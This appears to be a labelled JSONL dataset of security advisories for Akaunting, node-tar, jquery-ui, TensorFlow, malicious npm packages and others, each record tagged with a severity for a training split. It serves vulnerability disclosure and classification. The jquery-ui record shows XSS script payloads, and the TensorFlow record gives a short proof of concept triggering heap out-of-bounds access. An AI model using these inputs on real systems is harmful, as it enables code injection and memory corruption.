-{"id": "8615252a124f0f0dfec3", "text": "Malicious password-reset in Akaunting\n\nAkaunting version 2.1.12 and earlier suffers from a password reset spoofing vulnerability, wherein an attacker can proxy password reset requests through a running Akaunting instance, if that attacker knows the target's e-mail address. This issue was fixed in version 2.1.13 of the product. Please note that this issue is ultimately caused by the defaults provided by the Laravel framework, specifically how proxy headers are handled with respect to multi-tenant implementations. In other words, while this is not technically a vulnerability in Laravel, this default configuration is very likely to lead to practically identical identical vulnerabilities in Laravel projects that implement multi-tenant applications.", "text_raw": "Malicious password-reset in Akaunting\n\n[Severity: HIGH]\n\nAkaunting version 2.1.12 and earlier suffers from a password reset spoofing vulnerability, wherein an attacker can proxy password reset requests through a running Akaunting instance, if that attacker knows the target's e-mail address. This issue was fixed in version 2.1.13 of the product. Please note that this issue is ultimately caused by the defaults provided by the Laravel framework, specifically how proxy headers are handled with respect to multi-tenant implementations. In other words, while this is not technically a vulnerability in Laravel, this default configuration is very likely to lead to practically identical identical vulnerabilities in Laravel projects that implement multi-tenant applications.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "61bd62653ab735c575be", "text": "Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning using symbolic links\n\n### Impact\n\nArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution\n\n`node-tar` aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.\n\nThis logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory, where the symlink and directory names in the archive entry used backslashes as a path separator on posix systems. The cache checking logic used both `\\` and `/` characters as path separators, however `\\` is a valid filename character on posix systems.\n\nBy first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.\n\nAdditionally, a similar confusion could arise on case-insensitive filesystems.  If a tar archive contained a directory at `FOO`, followed by a symbolic link named `foo`, then on case-insensitive file systems, the creation of the symbolic link would remove the directory from the filesystem, but _not_ from the internal directory cache, as it would not be treated as a cache hit.  A subsequent file entry within the `FOO` directory would then be placed in the target of the symbolic link, thinking that the directory had already been created.\n\nThese issues were addressed in releases 4.4.16, 5.0.8 and 6.1.7.\n\nThe v3 branch of `node-tar` has been deprecated and did not receive patches for these issues. If you are still using a v3 release we recommend you update to a more recent version of `node-tar`. If this is not possible, a workaround is available below.\n\n### Patches\n\n4.4.16 || 5.0.8 || 6.1.7\n\n### Workarounds\n\nUsers may work around this vulnerability without upgrading by creating a custom filter method which prevents the extraction of symbolic links.\n\n```js\nconst tar = require('tar')\n\ntar.x({\n  file: 'archive.tgz',\n  filter: (file, entry) => {\n    if (entry.type === 'SymbolicLink') {\n      return false\n    } else {\n      return true\n    }\n  }\n})\n```\n\nUsers are encouraged to upgrade to the latest patched versions, rather than attempt to sanitize tar input themselves.\n\n### Fix\n\nThe problem is addressed in the following ways:\n\n1. All paths are normalized to use `/` as a path separator, replacing `\\` with `/` on Windows systems, and leaving `\\` intact in the path on posix systems.  This is performed in depth, at every level of the program where paths are consumed.\n2. Directory cache pruning is performed case-insensitively.  This _may_ result in undue cache misses on case-sensitive file systems, but the performance impact is negligible.\n\n#### Caveat\n\nNote that this means that the `entry` objects exposed in various parts of tar's API will now always use `/` as a path separator, even on Windows systems.  This is not expected to cause problems, as `/` is a valid path separator on Windows systems, but _may_ result in issues if `entry.path` is compared against a path string coming from some other API such as `fs.realpath()` or `path.resolve()`.\n\nUsers are encouraged to always normalize paths using a well-tested method such as `path.resolve()` before comparing paths to one another.", "text_raw": "Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning using symbolic links\n\n[Severity: HIGH]\n\n### Impact\n\nArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution\n\n`node-tar` aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.\n\nThis logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory, where the symlink and directory names in the archive entry used backslashes as a path separator on posix systems. The cache checking logic used both `\\` and `/` characters as path separators, however `\\` is a valid filename character on posix systems.\n\nBy first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.\n\nAdditionally, a similar confusion could arise on case-insensitive filesystems.  If a tar archive contained a directory at `FOO`, followed by a symbolic link named `foo`, then on case-insensitive file systems, the creation of the symbolic link would remove the directory from the filesystem, but _not_ from the internal directory cache, as it would not be treated as a cache hit.  A subsequent file entry within the `FOO` directory would then be placed in the target of the symbolic link, thinking that the directory had already been created. \n\nThese issues were addressed in releases 4.4.16, 5.0.8 and 6.1.7.\n\nThe v3 branch of `node-tar` has been deprecated and did not receive patches for these issues. If you are still using a v3 release we recommend you update to a more recent version of `node-tar`. If this is not possible, a workaround is available below.\n\n### Patches\n\n4.4.16 || 5.0.8 || 6.1.7\n\n### Workarounds\n\nUsers may work around this vulnerability without upgrading by creating a custom filter method which prevents the extraction of symbolic links.\n\n```js\nconst tar = require('tar')\n\ntar.x({\n  file: 'archive.tgz',\n  filter: (file, entry) => {\n    if (entry.type === 'SymbolicLink') {\n      return false\n    } else {\n      return true\n    }\n  }\n})\n```\n\nUsers are encouraged to upgrade to the latest patched versions, rather than attempt to sanitize tar input themselves.\n\n### Fix\n\nThe problem is addressed in the following ways:\n\n1. All paths are normalized to use `/` as a path separator, replacing `\\` with `/` on Windows systems, and leaving `\\` intact in the path on posix systems.  This is performed in depth, at every level of the program where paths are consumed.\n2. Directory cache pruning is performed case-insensitively.  This _may_ result in undue cache misses on case-sensitive file systems, but the performance impact is negligible.\n\n#### Caveat\n\nNote that this means that the `entry` objects exposed in various parts of tar's API will now always use `/` as a path separator, even on Windows systems.  This is not expected to cause problems, as `/` is a valid path separator on Windows systems, but _may_ result in issues if `entry.path` is compared against a path string coming from some other API such as `fs.realpath()` or `path.resolve()`.\n\nUsers are encouraged to always normalize paths using a well-tested method such as `path.resolve()` before comparing paths to one another.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-31", "split": "train"}
-{"id": "3b7370a0e78444aba26a", "text": "Uncontrolled Resource Consumption in fastify-multipart\n\nPrototype pollution vulnerability in `fastify-multipart` < 1.0.5 allows an attacker to crash fastify applications parsing multipart requests by sending a specially crafted request.", "text_raw": "Uncontrolled Resource Consumption in fastify-multipart\n\n[Severity: MEDIUM]\n\nPrototype pollution vulnerability in `fastify-multipart` < 1.0.5 allows an attacker to crash fastify applications parsing multipart requests by sending a specially crafted request.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "fd88e99214264631936d", "text": "CSRF tokens leaked in URL by canned query form\n\n### Impact\n\nThe HTML form for a read-only canned query includes the hidden CSRF token field added in #798 for writable canned queries (#698).\n\nThis means that submitting those read-only forms exposes the CSRF token in the URL - for example on https://latest.datasette.io/fixtures/neighborhood_search submitting the form took me to:\n\nhttps://latest.datasette.io/fixtures/neighborhood_search?text=down&csrftoken=CSRFTOKEN-HERE\n\nThis token could potentially leak to an attacker if the resulting page has a link to an external site on it and the user clicks the link, since the token would be exposed in the referral logs.\n\n### Patches\n\nA fix for this issue has been released in Datasette 0.46.\n\n### Workarounds\n\nYou can fix this issue in a Datasette instance without upgrading by copying the [0.46 query.html template](https://raw.githubusercontent.com/simonw/datasette/0.46/datasette/templates/query.html) into a custom `templates/` directory and running Datasette with the `--template-dir=templates/` option.\n\n### References\n\nIssue 918 discusses this in details: https://github.com/simonw/datasette/issues/918\n\n### For more information\n\nContact swillison at gmail with any questions.", "text_raw": "CSRF tokens leaked in URL by canned query form\n\n[Severity: MEDIUM]\n\n### Impact\n\nThe HTML form for a read-only canned query includes the hidden CSRF token field added in #798 for writable canned queries (#698).\n\nThis means that submitting those read-only forms exposes the CSRF token in the URL - for example on https://latest.datasette.io/fixtures/neighborhood_search submitting the form took me to:\n\nhttps://latest.datasette.io/fixtures/neighborhood_search?text=down&csrftoken=CSRFTOKEN-HERE\n\nThis token could potentially leak to an attacker if the resulting page has a link to an external site on it and the user clicks the link, since the token would be exposed in the referral logs.\n\n### Patches\n\nA fix for this issue has been released in Datasette 0.46.\n\n### Workarounds\n\nYou can fix this issue in a Datasette instance without upgrading by copying the [0.46 query.html template](https://raw.githubusercontent.com/simonw/datasette/0.46/datasette/templates/query.html) into a custom `templates/` directory and running Datasette with the `--template-dir=templates/` option.\n\n### References\n\nIssue 918 discusses this in details: https://github.com/simonw/datasette/issues/918\n\n### For more information\n\nContact swillison at gmail with any questions.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-11", "split": "train"}
-{"id": "d05a613950890354c8a2", "text": "XSS in `*Text` options of the Datepicker widget in jquery-ui\n\n### Impact\nAccepting the value of various `*Text` options of the Datepicker widget from untrusted sources may execute untrusted code. For example, initializing the datepicker in the following way:\n```js\n$( \"#datepicker\" ).datepicker( {\n\tshowButtonPanel: true,\n\tshowOn: \"both\",\n\tcloseText: \"<script>doEvilThing( 'closeText XSS' )</script>\",\n\tcurrentText: \"<script>doEvilThing( 'currentText XSS' )</script>\",\n\tprevText: \"<script>doEvilThing( 'prevText XSS' )</script>\",\n\tnextText: \"<script>doEvilThing( 'nextText XSS' )</script>\",\n\tbuttonText: \"<script>doEvilThing( 'buttonText XSS' )</script>\",\n\tappendText: \"<script>doEvilThing( 'appendText XSS' )</script>\",\n} );\n```\nwill call `doEvilThing` with 6 different parameters coming from all `*Text` options.\n\n### Patches\nThe issue is fixed in jQuery UI 1.13.0. The values passed to various `*Text` options are now always treated as pure text, not HTML.\n\n### Workarounds\nA workaround is to not accept the value of the `*Text` options from untrusted sources.\n\n### For more information\nIf you have any questions or comments about this advisory, search for a relevant issue in [the jQuery UI repo](https://github.com/jquery/jquery-ui/issues). If you don't find an answer, open a new issue.", "text_raw": "XSS in `*Text` options of the Datepicker widget in jquery-ui\n\n[Severity: MEDIUM]\n\n### Impact\nAccepting the value of various `*Text` options of the Datepicker widget from untrusted sources may execute untrusted code. For example, initializing the datepicker in the following way:\n```js\n$( \"#datepicker\" ).datepicker( {\n\tshowButtonPanel: true,\n\tshowOn: \"both\",\n\tcloseText: \"<script>doEvilThing( 'closeText XSS' )</script>\",\n\tcurrentText: \"<script>doEvilThing( 'currentText XSS' )</script>\",\n\tprevText: \"<script>doEvilThing( 'prevText XSS' )</script>\",\n\tnextText: \"<script>doEvilThing( 'nextText XSS' )</script>\",\n\tbuttonText: \"<script>doEvilThing( 'buttonText XSS' )</script>\",\n\tappendText: \"<script>doEvilThing( 'appendText XSS' )</script>\",\n} );\n```\nwill call `doEvilThing` with 6 different parameters coming from all `*Text` options.\n\n### Patches\nThe issue is fixed in jQuery UI 1.13.0. The values passed to various `*Text` options are now always treated as pure text, not HTML.\n\n### Workarounds\nA workaround is to not accept the value of the `*Text` options from untrusted sources.\n\n### For more information\nIf you have any questions or comments about this advisory, search for a relevant issue in [the jQuery UI repo](https://github.com/jquery/jquery-ui/issues). If you don't find an answer, open a new issue.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-26", "split": "train"}
-{"id": "106260668b3e23a5cb17", "text": "SQL Injection in Subrion CMS\n\nSQL Injection vulnerability in Subrion CMS v4.2.1 in the search page if a website uses a PDO connection.", "text_raw": "SQL Injection in Subrion CMS \n\n[Severity: CRITICAL]\n\nSQL Injection vulnerability in Subrion CMS v4.2.1 in the search page if a website uses a PDO connection.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-08", "split": "train"}
-{"id": "adc01100dcb7d001092c", "text": "Atlassian Crowd and Crowd Data Center Remote Code Execution Vulnerability\n\nAffected: Atlassian Crowd and Crowd Data Center\n\nAtlassian Crowd and Crowd Data Center contain a remote code execution vulnerability resulting from a pdkinstall development plugin being incorrectly enabled in release builds.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Atlassian Crowd and Crowd Data Center Remote Code Execution Vulnerability\n\nAffected: Atlassian Crowd and Crowd Data Center\n\nAtlassian Crowd and Crowd Data Center contain a remote code execution vulnerability resulting from a pdkinstall development plugin being incorrectly enabled in release builds.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "2f38c41feed00125a408", "text": "Command injection in get-git-data\n\nget-git-data through 1.3.1 is vulnerable to Command Injection. It is possible to inject arbitrary commands as part of the arguments provided to get-git-data.", "text_raw": "Command injection in get-git-data\n\n[Severity: CRITICAL]\n\nget-git-data through 1.3.1 is vulnerable to Command Injection. It is possible to inject arbitrary commands as part of the arguments provided to get-git-data.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "55118f9946d5f99d9fea", "text": "Malicious Package in bitcoijns-lib\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bitcoijns-lib\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "8f850f4606aef23ece6e", "text": "Splash authentication credentials potentially leaked to target websites\n\n### Impact\n\nIf you use [`HttpAuthMiddleware`](http://doc.scrapy.org/en/latest/topics/downloader-middleware.html#module-scrapy.downloadermiddlewares.httpauth) (i.e. the `http_user` and `http_pass` spider attributes) for Splash authentication, any non-Splash request will expose your credentials to the request target. This includes `robots.txt` requests sent by Scrapy when the `ROBOTSTXT_OBEY` setting is set to `True`.\n\n### Patches\n\nUpgrade to scrapy-splash 0.8.0 and use the new `SPLASH_USER` and `SPLASH_PASS` settings instead to set your Splash authentication credentials safely.\n\n### Workarounds\n\nIf you cannot upgrade, set your Splash request credentials on a per-request basis, [using the `splash_headers` request parameter](https://github.com/scrapy-plugins/scrapy-splash/tree/0.8.x#http-basic-auth), instead of defining them globally using the [`HttpAuthMiddleware`](http://doc.scrapy.org/en/latest/topics/downloader-middleware.html#module-scrapy.downloadermiddlewares.httpauth).\n\nAlternatively, make sure all your requests go through Splash. That includes disabling the [robots.txt middleware](https://docs.scrapy.org/en/latest/topics/downloader-middleware.html#topics-dlmw-robots).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* [Open an issue](https://github.com/scrapy-plugins/scrapy-splash/issues)\n* [Email us](mailto:opensource@zyte.com)", "text_raw": "Splash authentication credentials potentially leaked to target websites \n\n[Severity: HIGH]\n\n### Impact\n\nIf you use [`HttpAuthMiddleware`](http://doc.scrapy.org/en/latest/topics/downloader-middleware.html#module-scrapy.downloadermiddlewares.httpauth) (i.e. the `http_user` and `http_pass` spider attributes) for Splash authentication, any non-Splash request will expose your credentials to the request target. This includes `robots.txt` requests sent by Scrapy when the `ROBOTSTXT_OBEY` setting is set to `True`.\n\n### Patches\n\nUpgrade to scrapy-splash 0.8.0 and use the new `SPLASH_USER` and `SPLASH_PASS` settings instead to set your Splash authentication credentials safely.\n\n### Workarounds\n\nIf you cannot upgrade, set your Splash request credentials on a per-request basis, [using the `splash_headers` request parameter](https://github.com/scrapy-plugins/scrapy-splash/tree/0.8.x#http-basic-auth), instead of defining them globally using the [`HttpAuthMiddleware`](http://doc.scrapy.org/en/latest/topics/downloader-middleware.html#module-scrapy.downloadermiddlewares.httpauth).\n\nAlternatively, make sure all your requests go through Splash. That includes disabling the [robots.txt middleware](https://docs.scrapy.org/en/latest/topics/downloader-middleware.html#topics-dlmw-robots).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* [Open an issue](https://github.com/scrapy-plugins/scrapy-splash/issues)\n* [Email us](mailto:opensource@zyte.com)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-06", "split": "train"}
-{"id": "0bf090c19b9d749b6a7b", "text": "Cross-Site Scripting in bootstrap-tagsinput\n\nAll versions of `bootstrap-tagsinput` are vulnerable to cross-site scripting when user input is passed into the `itemTitle` parameter unmodified, as the package fails to properly sanitize or encode user input for that parameter.\n\n## Recommendation\n\nThis package is not actively maintained, and has not seen an update since 2015.\n\nBecause of this, the simplest mitigation is to avoid using the `itemTitle` parameter. With over 200 open issues and over 100 open pull requests as of 2/2018, it seems unlikely that the author has any intention of maintaining the module. If avoiding the use of `itemTitle` indefinitely is acceptable, this is a workable solution. If not, the best available mitigation is to use a fork of the module that is actively maintained and provides similar functionality. There are [many such forks to choose from available on github.](https://github.com/bootstrap-tagsinput/bootstrap-tagsinput/network/members).", "text_raw": "Cross-Site Scripting in bootstrap-tagsinput\n\n[Severity: HIGH]\n\nAll versions of `bootstrap-tagsinput` are vulnerable to cross-site scripting when user input is passed into the `itemTitle` parameter unmodified, as the package fails to properly sanitize or encode user input for that parameter.\n\n\n\n## Recommendation\n\nThis package is not actively maintained, and has not seen an update since 2015. \n\nBecause of this, the simplest mitigation is to avoid using the `itemTitle` parameter. With over 200 open issues and over 100 open pull requests as of 2/2018, it seems unlikely that the author has any intention of maintaining the module. If avoiding the use of `itemTitle` indefinitely is acceptable, this is a workable solution. If not, the best available mitigation is to use a fork of the module that is actively maintained and provides similar functionality. There are [many such forks to choose from available on github.](https://github.com/bootstrap-tagsinput/bootstrap-tagsinput/network/members).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "d059e39ecdc70017af95", "text": "Malicious Package in node-spdy\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "text_raw": "Malicious Package in node-spdy\n\n[Severity: CRITICAL]\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "8f10713faa0abc33c0fb", "text": "Microsoft .NET Framework Remote Code Execution Vulnerability\n\nAffected: Microsoft .NET Framework\n\nMicrosoft .NET Framework contains a remote code execution vulnerability when processing untrusted input that could allow an attacker to take control of an affected system.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft .NET Framework Remote Code Execution Vulnerability\n\nAffected: Microsoft .NET Framework\n\nMicrosoft .NET Framework contains a remote code execution vulnerability when processing untrusted input that could allow an attacker to take control of an affected system.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "b93c40410382af1c0bde", "text": "eCardMAX 10.5 Multiple Vulnerabilities", "text_raw": "eCardMAX 10.5 Multiple Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-07-01", "split": "train"}
-{"id": "a28393b831a8a3a19dbc", "text": "Eserv 3.x FTP Server (ABOR) Remote Stack Overflow PoC", "text_raw": "Eserv 3.x FTP Server (ABOR) Remote Stack Overflow PoC\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2008-10-14", "split": "train"}
-{"id": "727cd64c308518b4bd55", "text": "Memory corruption in `DrawBoundingBoxesV2`\n\n### Impact\nThe implementation of `tf.raw_ops.MaxPoolGradWithArgmax` can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs:\n\n```python\nimport tensorflow as tf\n\nimages = tf.fill([10, 96, 0, 1], 0.)\nboxes = tf.fill([10, 53, 0], 0.)\ncolors = tf.fill([0, 1], 0.)\n\ntf.raw_ops.DrawBoundingBoxesV2(images=images, boxes=boxes, colors=colors)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/31bd5026304677faa8a0b77602c6154171b9aec1/tensorflow/core/kernels/image/draw_bounding_box_op.cc#L116-L130) assumes that the last element of `boxes` input is 4, as required by [the op](https://www.tensorflow.org/api_docs/python/tf/raw_ops/DrawBoundingBoxesV2). Since this is not checked attackers passing values less than 4 can write outside of bounds of heap allocated objects and cause memory corruption:\n\n```cc \nconst auto tboxes = boxes.tensor<T, 3>();\nfor (int64 bb = 0; bb < num_boxes; ++bb) {\n  ...\n  const int64 min_box_row = static_cast<float>(tboxes(b, bb, 0)) * (height - 1);\n  const int64 max_box_row = static_cast<float>(tboxes(b, bb, 2)) * (height - 1);\n  const int64 min_box_col = static_cast<float>(tboxes(b, bb, 1)) * (width - 1);\n  const int64 max_box_col = static_cast<float>(tboxes(b, bb, 3)) * (width - 1);\n  ...\n}\n```\n\nIf the last dimension in `boxes` is less than 4, accesses similar to `tboxes(b, bb, 3)` will access data outside of bounds. Further during code execution there are also writes to these indices.\n\n### Patches\nWe have patched the issue in GitHub commit [79865b542f9ffdc9caeb255631f7c56f1d4b6517](https://github.com/tensorflow/tensorflow/commit/79865b542f9ffdc9caeb255631f7c56f1d4b6517).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Memory corruption in `DrawBoundingBoxesV2`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of `tf.raw_ops.MaxPoolGradWithArgmax` can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs:\n\n```python\nimport tensorflow as tf\n\nimages = tf.fill([10, 96, 0, 1], 0.)\nboxes = tf.fill([10, 53, 0], 0.)\ncolors = tf.fill([0, 1], 0.)\n\ntf.raw_ops.DrawBoundingBoxesV2(images=images, boxes=boxes, colors=colors)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/31bd5026304677faa8a0b77602c6154171b9aec1/tensorflow/core/kernels/image/draw_bounding_box_op.cc#L116-L130) assumes that the last element of `boxes` input is 4, as required by [the op](https://www.tensorflow.org/api_docs/python/tf/raw_ops/DrawBoundingBoxesV2). Since this is not checked attackers passing values less than 4 can write outside of bounds of heap allocated objects and cause memory corruption:\n\n```cc \nconst auto tboxes = boxes.tensor<T, 3>();\nfor (int64 bb = 0; bb < num_boxes; ++bb) {\n  ...\n  const int64 min_box_row = static_cast<float>(tboxes(b, bb, 0)) * (height - 1);\n  const int64 max_box_row = static_cast<float>(tboxes(b, bb, 2)) * (height - 1);\n  const int64 min_box_col = static_cast<float>(tboxes(b, bb, 1)) * (width - 1);\n  const int64 max_box_col = static_cast<float>(tboxes(b, bb, 3)) * (width - 1);\n  ...\n}\n``` \n\nIf the last dimension in `boxes` is less than 4, accesses similar to `tboxes(b, bb, 3)` will access data outside of bounds. Further during code execution there are also writes to these indices.\n\n### Patches\nWe have patched the issue in GitHub commit [79865b542f9ffdc9caeb255631f7c56f1d4b6517](https://github.com/tensorflow/tensorflow/commit/79865b542f9ffdc9caeb255631f7c56f1d4b6517).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "efb2e1258e00bc540727", "text": "Code Injection in total.js\n\nThe package total.js before 3.4.9 are vulnerable to Arbitrary Code Execution via the U.set() and U.get() functions.", "text_raw": "Code Injection in total.js\n\n[Severity: CRITICAL]\n\nThe package total.js before 3.4.9 are vulnerable to Arbitrary Code Execution via the U.set() and U.get() functions.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "6400fb8b89982ac09595", "text": "Nagios XI Remote Code Execution Vulnerability\n\nAffected: Nagios Nagios XI\n\nNagios XI contains a remote code execution vulnerability in which a user can modify the check_plugin executable and insert malicious commands to execute as root.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Nagios XI Remote Code Execution Vulnerability\n\nAffected: Nagios Nagios XI\n\nNagios XI contains a remote code execution vulnerability in which a user can modify the check_plugin executable and insert malicious commands to execute as root.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "7b5e09fbdaf6c1252f45", "text": "Potential Code Injection in Sprout Forms\n\n### Impact\n\nA potential Server-Side Template Injection vulnerability exists in Sprout Forms which could lead to the execution of Twig code.\n\n### Patches\n\nThe problem is fixed in`barrelstrength/sprout-forms:v3.9.0` which upgrades to `barrelstrength/sprout-base-email:v1.2.7`\n\n### Workarounds\n\nUsers unable to upgrade should update any Notification Emails to use the \"Basic Notification (Sprout Email)\" template and avoid using the \"Basic Notification (Sprout Forms)\" template or any custom templates that display Form Fields.\n\n### References\n\n- See the release notes in the [CHANGELOG](https://github.com/barrelstrength/craft-sprout-forms/blob/v3/CHANGELOG.md#390---2020-04-09-critical)\n- Credits to Paweł Hałdrzyński, Daniel Kalinowski from [ISEC.PL](https://isec.pl/) for discovery and responsible disclosure\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in the [Sprout Forms repo](https://github.com/barrelstrength/craft-sprout-forms/issues)\n* Email us at [sprout@barrelstrengthdesign.com](mailto:sprout@barrelstrengthdesign.com)", "text_raw": "Potential Code Injection in Sprout Forms\n\n[Severity: CRITICAL]\n\n### Impact\n\nA potential Server-Side Template Injection vulnerability exists in Sprout Forms which could lead to the execution of Twig code.\n\n### Patches\n\nThe problem is fixed in`barrelstrength/sprout-forms:v3.9.0` which upgrades to `barrelstrength/sprout-base-email:v1.2.7`\n\n### Workarounds\n\nUsers unable to upgrade should update any Notification Emails to use the \"Basic Notification (Sprout Email)\" template and avoid using the \"Basic Notification (Sprout Forms)\" template or any custom templates that display Form Fields.\n\n### References\n\n- See the release notes in the [CHANGELOG](https://github.com/barrelstrength/craft-sprout-forms/blob/v3/CHANGELOG.md#390---2020-04-09-critical)\n- Credits to Paweł Hałdrzyński, Daniel Kalinowski from [ISEC.PL](https://isec.pl/) for discovery and responsible disclosure\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in the [Sprout Forms repo](https://github.com/barrelstrength/craft-sprout-forms/issues)\n* Email us at [sprout@barrelstrengthdesign.com](mailto:sprout@barrelstrengthdesign.com)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-05-08", "split": "train"}
-{"id": "3ec67a27a4b3dbf19db0", "text": "Malicious Package in asymc\n\nAll versions of `asymc` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in asymc\n\n[Severity: CRITICAL]\n\nAll versions of `asymc` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "1f4cb56ccd37eaa010cf", "text": "BibTeX-Ruby vulnerable to OS command injection\n\nBibTeX-ruby before 5.1.0 allows shell command injection due to unsanitized user input being passed directly to the built-in Ruby `Kernel.open` method through BibTeX.open.", "text_raw": "BibTeX-Ruby vulnerable to OS command injection\n\n[Severity: CRITICAL]\n\nBibTeX-ruby before 5.1.0 allows shell command injection due to unsanitized user input being passed directly to the built-in Ruby `Kernel.open` method through BibTeX.open.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-02-14", "split": "train"}
